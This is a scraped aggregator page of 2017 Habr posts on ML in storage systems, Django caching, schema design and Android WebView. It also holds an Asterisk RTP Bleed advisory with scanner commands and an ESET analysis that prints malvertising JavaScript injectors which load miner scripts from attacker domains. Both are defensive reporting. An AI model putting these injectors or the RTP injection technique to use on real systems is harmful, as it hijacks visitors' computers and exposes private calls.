                Такой подход создает в обществе неверное представление о машинном обучении и сценариях его использования в реальных задачах. На практике ML позволяет нам автоматизировать тот или иной вид умственной деятельности. Машина способна принимать решения так же, как человек, и даже быстрее или точнее, чем человек, — за счет обработки большего количество данных. Тем не менее важно понимать, что алгоритм способен хорошо выполнять только одну определенную задачу.

                Мы не можем заменить компьютером полицейского, но мы можем научить компьютер распознавать в потоке людей лица, похожие на лицо преступника. Вся мощь алгоритмов иссякает тогда, когда имеющихся данных становится недостаточно или происходит событие, не похоже на предыдущие — известные системе. Машина не способна на творчество в незнакомой ситуации.

                Machine learning в системах хранения


                Применительно к теме систем хранения данных, зададимся вопросом: как подходы ML могут применяться в мире жестких и твердотельных дисков? Приведем несколько примеров использования машинного обучения в СХД.

                1. Изменение параметров работы всей системы в целом и ее отдельных компонентов


                Алгоритм, изучая множество данных и следя за характеристиками устройств, может изменять параметры поведения системы хранения.

                Были попытки реализации подобного «автопилота» для flash-накопителей. Следует отметить, что разработчикам устройств на основе NAND Flash всегда приходится идти на компромиссы, выбирая между объемом, надежностью и максимальным количеством перезаписей. В данном случае возможно изменять параметры устройства, настраивая поведение контроллера через выставление параметров регистров. Таких регистров может быть 50–100 в планарной памяти и более 1000 в 3D NAND.

                Яркий пример машинного обучения для изменения параметров различных регистров демонстрирует стартап NVMdurance. Подробности о том, как ML может быть применено в сфере SSD-накопителей, читайте в whitepaper от Coughlin Associates.

                2. Анализ поведения СХД и предиктивная аналитика


                Алгоритм может анализировать журналы и историю событий и предсказывать потенциальные проблемы c кластером хранения. Так, большую работу на пути к “умному датацентру” проделали ребята из Nimble Storage. Рассказ об их продукте InfoSight вы можете найти по ссылке.

                Развитие мобильных технологий и поведенческие характеристики нового поколения пользователей приведут к тому, что через 5-7 лет средства, используемые для управления инфраструктурой, будут понимать естественный язык. Уже сейчас появляются аналоги Microsoft IFTTT, которые понимают задачи вроде “Создать ссылку в Twitter для всех моих обновлений в Facebook”.

                Рано или поздно системы на предприятиях смогут по простому запросу предоставить информацию о состоянии инфраструктуры, выделить нужные ресурсы или провести анализ нагрузки.

                Ясно одно — подход к управлению инфраструктурой предприятия изменится и изменится кардинально.

                3. QoS (качество обслуживания) на уровне приложений


                Третий важный случай применения ML — обеспечение QoS для определенных приложений. Очевидно, что старый подход “одно приложение – один LUN” больше не работает. Мы неоднократно сталкивались с ситуацией, когда с одним и тем же томом с одного и того же хоста работают различные приложения. При этом многие из них совершенно не критичны для бизнеса, но очень требовательны к ресурсам.

                Для решения этой проблемы мы реализовали проект QoSmic. Фактически, ПО RAIDIX научило СХД распознавать приложения и нагрузки по характерным признакам IO. О нем мы поговорим немного подробнее.

                Разработка «умной» технологии QoS


                Основной задачей большинства современных систем хранения данных является одновременное предоставление ресурсов хранения нескольким клиентским станциям (инициаторам).

                Следует разделять задачи, требующие ресурсов хранения, на критичные и некритичные для бизнеса компании. Невозможность выполнения критичных для бизнеса задач в связи с тем, что все необходимые ресурсы были захвачены приложениями, выполняющими некритичные задачи, может привести к серьезным финансовым потерям.

                Достаточно часто предоставление уровня обслуживания по запросам различных инициаторов формируется вручную системным администратором. Администратор может предоставить приоритет одному или нескольким инициаторам, тогда запросам от них будет предоставлена гарантированная пропускная способность. Однако такой способ управления в системах хранения данных не может обеспечить уровень обслуживания с оптимальной производительностью и надежностью.

                В RAIDIX мы создали свою уникальную технологию автоматического представления приоритета QoSmic, основанную на идентификации работающих приложений в СХД “на лету”. С помощью алгоритма QoSmic распознаются критически важные бизнес-приложения, и именно им выставляется наивысший приоритет. Приоритет автоматически снимается, когда критически важное приложение перестает работать. Данный алгоритм может быть включен или выключен по желанию клиента.

                Система хранения данных с встроенной технологией QoSmic представлена на Рисунке 1.



                Рисунок 1. Система хранения данных с встроенной технологий QoSmic

                Принцип работы QoSmic


                Алгоритм идентификации приложений состоит из двух модулей: обучение и распознавание

                1. Модуль обучения: мы «знакомим» нашу систему хранения с новым приложением, которое планируется распознавать в целях работы QoS или упреждающего чтения
                2. Модуль распознавания: приложения для модуля QoS или упреждающего чтения идентифицируются в режиме реального времени.

                Запросы в течении t секунд (например, 20 сек.) собираются в модули распознавания, далее данный лог анализируются, и по нему строятся I/O сигнатуры. Для идентификации приложения нам достаточно знать четыре характеристики: длину запроса, тип запроса (чтение или запись), оффсет (адресное пространство), время прихода запроса. В режиме обучения сигнатуры помечаются именем приложения, в режиме распознавания подаются в модуль для идентификации.

                В качестве алгоритма классификации («Модель» на рис. 1) используется Random Forest.

                Данный алгоритм довольно часто применяется в промышленной индустрии, так как обычно дает хорошие результаты и “понятен” для заказчика. И обладает рядом преимуществ такими как, высокая скорость обучения, неитеративное обучение (алгоритм завершается за фиксированное число операций), масштабируемость (способность обрабатывать большие объемы данных), высокое качество получаемых моделей (сравнимое с нейронными сетями и ансамблями нейронных сетей), малое количество настраиваемых параметров.

                Далее с помощью алгоритма Random Forest и модели, полученной в режиме обучения, идентифицируются приложения, работающие на клиенте, или выдается ответ “не удалось определить” в случае:

                • если на инициаторе работает неизвестное приложение;
                • времени для идентификации недостаточно, обычно это происходит из-за низкой интенсивности I/O запросов, что не позволяет сформировать “надежные” I/O сигнатуры.

                Потом имена приложений поступают в модуль QoS, который и выставляет приоритеты.

                Нас часто спрашивают о том, как администратору понять, что пора выполнить переобучение? Переобучение стоит выполнить, если часто выдается вопрос “не удалось определить” или неправильно определяются приложения. В процессе обучения сам алгоритм может подсказать, что полученных сигнатур недостаточно для точной идентификации.

                Функциональные особенности алгоритма QoSmic


                Алгоритм точно идентифицирует приложения


                Вероятность ошибок первого рода (когда важное приложение посчитали неважным) или второго рода (когда одно критически важное приложение было принято за другое) пренебрежимо мала и представлена в таблице 1.

                Высокий уровень точности, достигнутый благодаря выбранным параметрам в I/O сигнатуре, позволяет формировать достаточно точный статистический профиль приложений и, следовательно, с высокой точностью обнаруживать работающее критически важное приложение и отличать его от низкоприоритетного.

                Таблица 1. Точность идентификации
                Ошибки первого рода Ошибки второго рода
                Apple Final Cut Pro/X 0.1% 0.5%
                Adobe Premiere Pro 0.15% 0.8%
                Autodesk Smoke 0.12% 0.7%
                Antivirus Kaspersky Small Business Security 0.01% 0.01%
                SQL база данных 0.005% 0.01%
                Неважные приложения 0.1% --

                Для сравнения выбраны три медийных приложения, которые генерят довольно-похожий последовательный траффик. Под неважными приложениями подразумевается работа браузера, служебные утилиты, простое копирование, бэкапы и т.п.

                Алгоритм распознавания не требователен к ресурсам и не влияет на производительность системы




                Рисунок 2. Диаграмма размаха распределения latency СХД

                При максимальной по интенсивности нагрузке на систему хранения данных с маломощным процессором и недорогими HDD потребительского класса производительность системы практически не меняется, то есть конечный пользователь не ощущает никаких задержек в работе системы как при включенном, так и при выключенном режиме QoSmic (см. рисунок 2 и таблицу 2).

                Таблица 2. Тестирование производительности с помощью Iometer
                Workload Length of request, KB Read % Decrease in bandwidth
                Sequential read 4, 32, 256, 1024 100% 1.3%
                Sequential write 4, 32, 256, 1024 0% <1%
                Sequential read/write 4, 32, 256, 1024 50% 1.5%
                Random read 4, 32, 256, 1024 100% 1.4%
                Random write 4, 32, 256, 1024 0% < 1%
                Random read/write 4, 32, 256, 1024 50% 2 %

                Заключение


                Подводя итог, стоит выделить главные преимущества технологии QoSmic:

                • высокая скорость и точность идентификации приложений;
                • возможность распознавать различные паттерны в одном и том же приложении;
                • возможность распознавать важные и неважные задачи на одном и том же инициаторе;
                • низкие затраты ресурсов модуля (light weight).

                Стоит также отметить, что модуль распознавания приложений может быть использован для упреждающего чтения.

                Применение методов машинного обучения в СХД вполне реально и дает неплохие результаты. Такие технологии перестают быть фантастикой — они успешно работают и эффективно применяются. Сейчас пока рано говорить о том, заменит ли machine learning системного администратора или станет его лучшим помощником, но можно с уверенностью заявить, что эти методы окажут существенное влияние на работу отрасли в обозримом будущем.
                Original source: habrahabr.ru (comments, light).

                https://habrahabr.ru/post/338000/


                [Из песочницы] И снова о кешировании в Django

                Пятница, 15 Сентября 2017 г. 13:52 + в цитатник
                RafGbd сегодня в 13:52 Разработка

                И снова о кешировании в Django

                Для django уже есть множество библиотек для кеширования и они уже обсуждалось на хабре, но, к сожалению, проблемы с производительностью не решить добавлением строчки в INSTALLED_APPS. В библиотеках патчащих queryset кеш инвалидируется либо слишком часто, либо слишком редко и самое главное у программиста мало контроля за этим процессом. Можно написать инвалидацию вручную, но потребуется много кода, в котором легко допустить ошибку.

                По этой причине я написал маленький проект, в котором при добавлении объекта в кеш можно указать зависимости, при изменении которых кеш будет автоматически инвалидирован.

                В качестве зависимости можно указать:

                1. Класс модели. При изменении/удалении любого объекта модели, вызова bulk_create, update у queryset'а этой модели запись в кеше будет инвалидирована.
                2. Инстанс модели. При изменении/удалении этого инстанса, запись в кеше будет инвалидирована.
                3. Related manger. При изменении любого дочернего объекта имеющего внешний ключ на указанный объект, запись в кеше будет инвалидирована.

                Рассмотрим это на примере простого блога, у которого есть список всех постов и просмотр конкретного поста.

                Для начала установим clever_cache.

                $ pip instal django-clever-cache

                Добавим ‘clever_cache’ в INSTALLED_APPS и укажем ‘clever_cache.backend.RedisCache’ в качестве бэкенда для кеша.

                INSTALLED_APPS += ['clever_cache']
                
                CACHES = {
                    "default": {
                        "BACKEND": 'clever_cache.backend.RedisCache',
                        "LOCATION": "redis://127.0.0.1:6379/1",
                        "OPTIONS": {
                            'DB': 1,
                        }
                    }
                }
                

                Модели в нашем приложении-блоге выглядят следующим образом:

                class Post(models.Model):
                    author = models.ForeignKey('auth.User')
                    title = models.CharField(max_length=128)
                    body = models.TextField()
                    created_at = models.DateTimeField(auto_now_add=True)
                
                    class Meta:
                        verbose_name = 'post'
                        verbose_name_plural = 'posts'
                        ordering = ['-created_at']
                
                
                class Comment(models.Model):
                    author = models.ForeignKey('auth.User')
                    post = models.ForeignKey(Post, related_name='comments')
                    body = models.TextField()
                    created_at = models.DateTimeField(auto_now_add=True)
                
                    class Meta:
                        verbose_name = 'comment'
                        verbose_name_plural = 'comments'
                        ordering = ['-created_at']
                

                Реализуем список всех постов. В запросе мы выбираем все посты, их авторов и количество комментариев к каждому посту, поэтому инвалидировать кеш нам придется при изменении любого поста, комментария или пользователя.

                class PostListView(ListView):
                    context_object_name = 'post_list'
                
                    def get_queryset(self):
                        post_list_qs = cache.get('post_list_qs')
                        if not post_list_qs:
                            post_list_qs = Post.objects.all().select_related(
                                'author'
                            ).annotate(comments_count=Count('comments'))
                            cache.set(
                                'post_list_qs',
                                post_list_qs,
                                depends_on=[Post, Comment, User]
                                # Запись в кеше зависит от моделей Post, Comment и User
                            )
                        return post_list_qs
                

                Реализуем просмотр отдельного поста. Тут мы из базы данных получаем пост, его автора и отдельно комментарии к посту. Соответственно при изменении перечисленных объектов следует инвалидировать кеш.

                class PostDetailView(DetailView):
                    model = Post
                
                    def get_context_data(self, **ctx):
                        post = self.get_post()
                        comments = self.get_comments(post)
                        ctx['post'] = post
                        ctx['comments'] = comments
                        return ctx
                
                    def get_post(self, *args, **kwargs):
                        pk = self.kwargs.get(self.pk_url_kwarg)
                        cache_key = "post_detail_%s" % pk
                        post = cache.get(cache_key)
                        if not post:
                            post = Post.objects.select_related('author').get(pk=pk)
                            cache.set(
                                cache_key, post,
                                depends_on=[post, post.author]
                                # при изменении поста или автора удалять запись из кеша
                            )
                        return post
                
                    def get_comments(self, post):
                        cache_key = "post_detail_%s_comments" % post.pk
                        comments = cache.get(cache_key)
                        if not comments:
                            comments = post.comments.all()
                            cache.set(
                                cache_key, comments,
                                depends_on=[post.comments]
                                # post.comments - это RelatedManager,
                                # при изменении любого комментария поста, кеш будет инвалидирован
                            )
                        return comments
                

                Надеюсь, эта библиотека избавит вас от проблем с инвалидацией кеша и позволит сосредоточится на выборе имен переменных.

                Код


                Доступен на github
                Original source: habrahabr.ru (comments, light).

                https://habrahabr.ru/post/337998/


                Метки:  

                Sci-fi для стартапа: как связаны технологическое предпринимательство и научная фантастика

                Пятница, 15 Сентября 2017 г. 13:47 + в цитатник

                Метки:  

                [Перевод] Путешествие из Node в Crystal

                Пятница, 15 Сентября 2017 г. 13:47 + в цитатник

                Метки:  

                RTP Bleed: Опасная уязвимость, позволяющая перехватывать VoIP трафик

                Пятница, 15 Сентября 2017 г. 13:37 + в цитатник
                antgorka сегодня в 13:37 Разработка

                RTP Bleed: Опасная уязвимость, позволяющая перехватывать VoIP трафик


                  В популярном решении для организации IP-телефонии Asterisk обнаружена уязвимость, позволяющая проводить инжект RTP пакетов в разговор или прослушивать RTP трафик.

                  Как это работает


                  Чтобы проэксплуатировать уязвимость, атакующему нужно отправить RTP пакет на порт сервера, к которому в данный момент привязан RTP стрим. Если сервер уязвим, то он ответит пакетами RTP стрима, предназначенными для абонента, который на самом деле использует этот порт для разговора. Данная уязвимость не требует от атакующего находиться между сервером и абонентом. Хотя по названию она напоминает heartbleed, в действительности уязвимость скорее позволяет провести, как раз таки, MITM атаку.

                  Это становится возможным из-за алгоритма работы некоторых RTP прокси. В процессе решения «проблем», связанных с доставкой RTP пакетов при использовании NAT, прокси не требует никакой аутентификации для внесения в свою внутреннюю таблицу информации о конечных IP адресе и порте, на которые следует отправлять RTP ответы, чтобы они были доставлены абоненту. RTP прокси «запоминает» пары IP/Порт основываясь на том, с какого IP/порта прокси получает RTP пакеты от абонента.

                  Таким образом, для того чтобы получить пакеты от стороннего абонента, нужно лишь знать RTP порт, который используется абонентом и начать отправлять на него RTP пакеты, тем самым вводя RTP прокси в заблуждение.

                  Уязвимости подвержены версии Asterisk c 11.4.0 по 14.6.1.

                  Подробнее изучить проблему можно на официальном сайте уязвимости rtpbleed.com

                  Инструменты


                  Чтобы проверить, уязвимы ли ваши системы к RTP Bleed можно воспользоваться бесплатным инструментом rtpnatscan.

                  Для установки нужно склонировать репозиторий и скомпилировать утилиты

                  git clone https://github.com/kapejod/rtpnatscan.git
                  cd rtpnatscan
                  make rtpnatscan
                  make rtcpnatscan

                  Далее нужно совершить звонок, проверить какие порты используются для RTP, например через CLI Asterisk

                  asterisk -r
                  rtp set debug on

                  Далее, на сторонней машине запустить сканирование rtpnatscan и попробовать получить RTP пакеты

                  ./rtpnatscan сервер начальный_порт конечный_порт число_пакетов 

                  Для этого не нужно использовать никакие MITM техники, вроде ARP-спуфинга. Нужно лишь иметь возможность отправлять RTP пакеты на уязвимый сервер и порт.

                  Если удаленный сервер отправил RTP пакеты в ответ, значит ваша конфигурация уязвима.

                  rtpnatscan это лишь сканер и не позволяет прослушивать разговор.

                  Помимо утилиты rtpnatscan, существует платный инструмент, имеющий более широкие возможности.

                  Как защититься


                  Прежде всего нужно проверить, уязвимы ли ваши системы к RTP Bleed при помощи инструмента, описанного выше.

                  Существует официальный патч для Asterisk, но он не полностью закрывает уязвимость, поэтому есть дополнительный патч, который рекомендуется также применить.

                  Если нет возможности установить патч, нужно не задавать параметр nat=yes в конфигурации Asterisk, если это допустимо в вашем случае.

                  Так же рекомендуется использовать шифрование голосового трафика, чтобы даже при перехвате RTP пакетов атакующий не получил доступ к конфиденциальной информации.
                  Original source: habrahabr.ru (comments, light).

                  https://habrahabr.ru/post/337976/


                  Метки:  

                  В единстве — прибыль. ESET изучает браузерный майнер

                  Пятница, 15 Сентября 2017 г. 13:37 + в цитатник
                  esetnod32 сегодня в 13:37 Администрирование

                  В единстве — прибыль. ESET изучает браузерный майнер

                    В последние месяцы мы обнаруживали JavaScript файлы, очевидно предназначенные для майнинга криптовалют напрямую в браузере. Киберпреступники давно освоили майнинг, однако обычно они устанавливают на машины жертв вредоносное ПО, либо потенциально нежелательные приложения (PUA). В данном случае майнинг производится в браузере, когда пользователь посещает определенные сайты. Нет необходимости искать уязвимости и/или заражать компьютер – достаточно браузера с включенным JavaScript (по умолчанию в большинстве браузеров).

                    Обзор


                    По данным телеметрии ESET, один из векторов распространения угрозы – вредоносная реклама (malvertizing). Тип задач с высокой загрузкой ЦП блокирует большинство рекламных сетей, так как это снижает качество взаимодействия с пользователем. Может показаться, что идея майнинга в браузере противоречит здравому смыслу, поскольку добыча биткоинов требует высокопроизводительных CPU. Но авторы веб-майнера выбрали криптовалюты, не требующие наличия специального оборудования – проще обеспечить достаточное число компьютеров, «заражая» сайты, а не сами машины.

                    Подобные кампании могут производиться в любой стране, но конкретно эта угроза преобладает в России, Украине и Беларуси (см. рисунок ниже). Причиной таргетирования, вероятно, стал выбор языка сайтов, в которые были внедрены скрипты.


                    Рисунок 1. Страны, где наиболее активен веб-майнер, по данным телеметрии ESET

                    На рисунке 2 показан рейтинг одного из доменов: –reasedoper[.]pw, на котором были размещены эти скрипты, в Cisco Umbrella Top 1M. Мы отметили существенный рост DNS-поисков по этому адресу за март-апрель 2017. А 28 июня 2017 года reasedoper[.]pw достиг 26300-й строки – сопоставимый уровень популярности имеет известный сервис GitHub Gist (gist.github.com), занявший 26293-ю строку на ту же дату.


                    Рисунок 2. Рейтинг reasedoper[.]pw в Cisco Umbrella Top 1M. Чем ниже – тем выше популярность.

                    История


                    Идея майнинга криптовалют в браузере не является чем-то новым. В 2013 году студенты Массачусетского технологического института (MIT) основали компанию Tidbit, которая предлагала веб-сервис по майнингу биткойнов. Вместо показа рекламы администраторы сайтов могли зарабатывать на майнинге, добавив скрипт Tidbit к своим сайтам. Вскоре основатели получили повестку в суд, поскольку использовали вычислительные мощности пользователей без их согласия. В итоге стороны пришли к мировому соглашению, но проект Tidbit пришлось свернуть.

                    Ранее несколько других сервисов, таких как bitp[.]it, предлагали майнинг в браузере. Сервисы прекратили существование из-за малой эффективности майнинга биткоинов при помощи стандартного CPU/GPU. Например, проект bitp[.]it закрылся в июле 2011 года.

                    Как происходит распространение


                    Метод распространения скрипта этого типа определяет, легитимен он или нежелателен. В этом случае мы обнаружили два способа, позволяющих заставить пользователя выполнить скрипты: вредоносная реклама или жестко запрограммированный фрагмент кода JavaScript.


                    Рисунок 3. Схема распространения майнинговых скриптов.

                    Вредоносная реклама

                    Основной способ распространения майнинговых скриптов – вредоносная реклама. В его основе покупка трафика у рекламной сети и распространение вредоносного скрипта вместо обычной рекламы. В этом конкретном случае мы не уверены, было ли применено внедрение скрипта, либо listat[.]biz был скомпрометирован. Но listat[.]biz действительно подозрителен, потому что он, похоже, копирует LiveInternet counter (рейтинг сайтов LiveInternet), легитимный счетчик посетителей. Более того, многие подозрительные домены были зарегистрированы на тот же адрес электронной почты, включая lmodr[.]biz, который также присутствует в этой вредоносной цепочке.

                    Основные сайты, предоставлявшие трафик для майнинговых скриптов в течение июля 2017, показаны на следующем рисунке. Мы обратили внимание, что здесь преобладают сайты с потоковым видео или браузерными играми. В этом есть смысл, так как пользователи склонны проводить время на одной и той же странице. Кроме того, у таких страниц ожидаемо высокая загрузка ЦП, что позволяет замаскировать дополнительную нагрузку от майнингового скрипта. Так ему удается работать дольше и использовать большую вычислительную мощность.


                    Рисунок 4. Сайты, предоставляющие трафик майнинговым скриптам, по данным телеметрии ESET.

                    Сайт, за которым мы наблюдали, с наибольшей вредоносной рекламной активностью, okino[.]tv, достаточно популярен. На момент написания статьи его рейтинг в Alexa составлял 907 по России и 233 по Украине. Высокие позиции занимали и другие используемые в кампании сайты, находящиеся в рейтинге Top 1000 Alexa по России.


                    Рисунок 5. Рейтинг Alexa для Okino[.]tv.


                    Рисунок 6. Загрузка ЦП при посещении сайта wotsite[.]net.

                    Ниже на рисунке 7 приведен интересный образец цепочки переадресаций. Первые три переадресации внедряют скрипт, предоставляемый следующим переходом, как показано на рисунках 8, 9 и 10. Первый домен, используемый в переадресации (skyadsvideo1[.]ru в нашем примере), не всегда совпадает.

                    Мы также могли наблюдать code.moviead55[.]ru. Оба принадлежат одинаковым IP адресам – 167.114.238.246 и 167.114.249.120. По данным Whois по домену skyad[.]video, чей поддомен code.skyad[.]video также принадлежит тем же двум адресам, домены указывают на связь с владельцем рекламной сети SkyAdVideo.


                    Рисунок 7. Цепочка переадресаций от okino[.]tv к майнинговому скрипту.

                    
                    

                    Рисунок 8. Со стартовой страницы Okino[.]tv.

                    var script = document.createElement('script');
                    script.src = '//lmodr[.]biz/mdstat2.php';
                    script.async = true;
                    document.head.appendChild(script)

                    Рисунок 9. Из скрипта на Skyadsvideo1[.]ru/code.php (после деобфускации).

                    var script = document.createElement('script');
                    script.src = '//listat[.]biz/3.html?group=mdstat2_net&seoref=' + encodeURIComponent(document.referrer) + '&rnd=' + Math.random() + '&HTTP_REFERER=' + encodeURIComponent(document.URL);
                    script.async = true;
                    document.head.appendChild(script);

                    Рисунок 10 – lmodr[.]biz/mdstat2.php.

                    Поиск по PassiveTotal показывает, что listat[.]biz производил переадресации только на скрипты для майнинга, кроме 1 июня и 5 июля, когда он также перенаправлял пользователя на настоящие веб-счетчики посещений и на anstatalsl[.]biz. Похоже, lmodr[.]biz и listat[.]biz используются только для внедрения майнинговых скриптов.

                    function show_260() {
                        var script = document.createElement('script');
                        script.src = '//mataharirama[.]xyz/launcher.9.single.js';
                        script.async = true;
                        document.head.appendChild(script);
                    }
                    show_260();

                    Рисунок 11. listat[.]biz/3.html.

                    К нашему удивлению мы заметили, что moviead55[.]ru, первый переход, также мог внедрять майнер. Он выложен прямо на сайте и может майнить криптовалюту ZCash. Он использует пул, расположенный на ws.zstat[.]net:8889, а коммуникация происходит посредством протокола Web socket. Однако мы не обнаружили сходства в коде со скриптами, выложенными на reasedoper[.]pw. Похоже, что это разные группы, занимающиеся извлечением выгоды за счет вычислительной мощности своих посетителей.

                    Жестко запрограммированный код JavaScript

                    Мы также обнаружили в кэше Google примерно 60 сайтов, в которые были внедрены почти такие же фрагменты JavaScript, как на рисунке 10. Стартовая страница этих сайтов внедряет скрипт, полученный по адресу script.php.

                    https://habrahabr.ru/post/337960/


                    Метки:  

                    [Из песочницы] Подход к разделению схем (пользователей) при проектировании OLTP баз данных

                    Пятница, 15 Сентября 2017 г. 13:20 + в цитатник
                    ympukhov сегодня в 13:20 Разработка

                    Подход к разделению схем (пользователей) при проектировании OLTP баз данных

                    Проблематика и назначение:


                    Разделение схем в основе своей реализуется для масштабируемости и безопасности:

                    • Масштабируемость с точки зрения баз данных должна быть такой, чтобы схему можно было вынести в другую базу без ущерба функционалу.
                    • Безопасность с точки зрения баз данных должна быть такой, чтобы внешние пользователи оперировали только бизнес логикой, к которой раздаются гранты, и не имели доступа к первичным данным.

                    Проблематика есть в том что если мы будем давать гранты на модификацию данных не владельцем таблиц (первичных данных), мы получаем пласт проблем:

                    • Проблема с масштабируемостью — нет возможность разнести схемы в разные бд.
                    • Проблема с безопасностью — при получении доступа к одной схеме, получаем доступ к первичным данным другой схемы.
                    • Проблема с прозрачностью поведения системы — Нет возможности понять откуда производится модификация данных схемы, что приводит к непредсказуемому поведению системы.

                    Метод решения проблем:


                    Решение проблем с масштабируемостью/безопасностью/прозрачностью поведения системы нам поможет:

                    • Инкапсуляция DML внутри схемы — всё управление транзакциями, а также DML операции осуществляется в рамках схемы-владельца таблицы.

                    Описание архитектуры предложенного метода:


                    image
                    Рисунок 1 — Взаимодействие схем между друг другом

                    Из рисунка видно, что схемы взаимодействуют между друг другом посредством GATE_PACKAGE или гейтовых пакетов.

                    Есть 2 типа гейтовых пакетов:

                    • gate_package_in — для входящих запросов к схеме.
                    • gate_package_out- для исходящих запросов из схемы в другую схему.

                    Все изменения данных осуществляются внутри схемы, прямого DML (insert, update, delete) обращения из чужой схемы (не владелице таблицы) к таблице не происходит.
                    Обращение из чужой схемы к любым методам/константам/типам и другим объектам также производится через гейтовые пакеты.

                    Такое взаимодействие позволяет иметь одну точку выхода и входа из/в схему, а в с случае разнесения схем в разные БД, мы получим следующую схему взаимодействия:

                    image

                    Рисунок 2 — Взаимодействие схем при разнесении их в разные БД.

                    Из рисунка видно, что при разнесении схем в разные БД у нас поддерживается принцип масштабирования, т.е. 2 схемы разнеслись в разные БД без ущерба основному функционалу.
                    Представим какие проблемы могли возникнуть при прямых DML из одной схемы в другую.
                    Ниже представлен рисунок раздачи грантов при взаимодействии 2х схем: поддержка текущей структуры масштабирования, безопасности, а также исключение неопределенности с точки зрения поведения системы:

                    image

                    Рисунок 3 — Схема раздачи грантов при взаимодействии 2х схем.

                    Из рисунка видно что мы запретили DML операции insert, update, delete, а также execute на объекты одной схемы в другую, кроме in_gate_package.

                    Разрешаем запуск из гейтовых пакетов, а также возможны запросы из табличек другой схемы, только в случае проблем с производительностью и необходимостью использования табличек в рамках больших запросов.

                    В идеале в дальнейшем запретить грант select относительно таблиц другой схемы и использовать только методы их гейтового пакета.

                    При таких подходах (рисунок 1, 2, 3), мы получаем:

                    • Решение проблемы с масштабируемостью — Нет проблем при разнесении схем в разные БД.
                    • Решение проблемы с безопасностью — запрет модификации данных и прямого обращения к методам/объектам для модификации первичны данных не владельцем этих данных.
                    • Решение проблемы с прозрачность поведение системы — любая модификация данных происходит через одну входную/выходную точку в рамках одной схемы.
                    Original source: habrahabr.ru (comments, light).

                    https://habrahabr.ru/post/337994/


                    Метки:  

                    Web-приложения в Android без Cordova, Phonegap и SMS

                    Пятница, 15 Сентября 2017 г. 12:45 + в цитатник
                    musicriffstudio сегодня в 12:45 Разработка

                    Web-приложения в Android без Cordova, Phonegap и SMS

                      Начиная с 5 версии Android компонент WebView поставляется не как часть системы, а как обычное приложение которое может быть обновлено из Google Play:

                      image

                      Что это даёт разработчикам? Теперь HTML-приложения можно встраивать в .apk без дополнительных костылей. Все возможности HTML5 будут доступны.

                      Рассмотрим пример публикации в Google Play реального HTML5 приложения.

                      Готовое приложение можно скачать в Google Play, все исходные файлы (JS/HTML, ресурсы, код Java-оболочки) доступны в справке там же.

                      Шаг 1. Создание приложения HTML5 и настройка окружения


                      Этот шаг пропустим.

                      Если у вас нет готового приложения в HTML5 то и публиковать в Google Play пока нечего.
                      Последнюю Android Studio можно самостоятельно скачать тут.
                      Регистрация аккаунта в Google Play Console также выходит за рамки примера.

                      Шаг 2. Создание приложение Android


                      Открываем Студию, создаём новый проект и в минимальный API Level указываем как 21 (т.е. Android 5.0). Студия подсказывает что на данный момент это охватывает более двух третей устройств:

                      image

                      в ближайшие пару лет более старые устройства канут в Лету, но пока так.

                      В приложении нам нужна только одна (одно?) Activity содержащее WebView. Весь код буквально убирается на одной странице:

                      image

                      если интересно, его можно посмотреть по ссылке в приложении.

                      Всё что нам нужно это при старте в onCreate сделать пару настроек и открыть файл HTML-страницей. Примерно так

                      WebView webView = (WebView) findViewById(R.id.webview);
                      WebSettings webSettings = webView.getSettings();
                      webSettings.setJavaScriptEnabled(true);
                      webSettings.setDomStorageEnabled(true);
                      webView.loadUrl("file:///android_asset/index.html");

                      Шаг 3. Добавление файлов HTML


                      Добавляем в проект папку Asset:

                      image

                      и вываливаем туда наши файлы. Это всё.

                      Шаг 4. Интеграция с Android


                      В приложении есть внешние ссылки (например на исходники в GitHub или на создание сообщения в Twitter). Для этого сделаем свою реализацию shouldOverrideUrlLoading, примерно так:

                      
                      @Override
                      boolean shouldOverrideUrlLoading(String url) {
                      		String host = Uri.parse(url).getHost();
                      		if (host.trim().length() > 0) {
                      			Uri webpage = Uri.parse(url);
                      			Intent myIntent = new Intent(Intent.ACTION_VIEW, webpage);
                      			startActivity(myIntent);
                      			return true;
                      		} else {
                      			return false;
                      		}
                      	}
                      

                      — всего несколько строк, из них видно, что в случае ссылки на локальную страницу (в host пустая строка) оно не перехватывается и открывается в нашем WebView.

                      Если это внешняя страница то ссылка передаётся системе и она сама решит, нужно ли открыть её в Twitter, в выбранном пользователем браузере или ещё как-то.

                      Иногда нужно сделать наоборот и указать системе перехватывать некоторые ссылки и открывать их в нашем приложении. Для этого добавим в манифесте для нашего Activity дополнительный фильтр:

                      
                                      
                                      
                                      
                                      
                                  
                      

                      — теперь любые ссылки в почте или веб-страницах будут проверяться на соответствие нашему сервису. Если это ссылка на наш сервис то будет предложено его открыть в нашем приложении:

                      image

                      Итого


                      Файл инсталляции занимает меньше 4Мб, есть полная интеграция с платформой Android, доступны все средства HTML5 (в данном примере это Web Audio).

                      В ближайшие пару лет доля старых устройств снизится до нуля и от Cordova можно будет полностью отказаться.
                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/337990/


                      Метки:  

                      Поиск сообщений в rss_rss_hh_new
                      Страницы: 1437 ... 1145 1144 [1143] 1142 1141 ..
                      .. 1 Календарь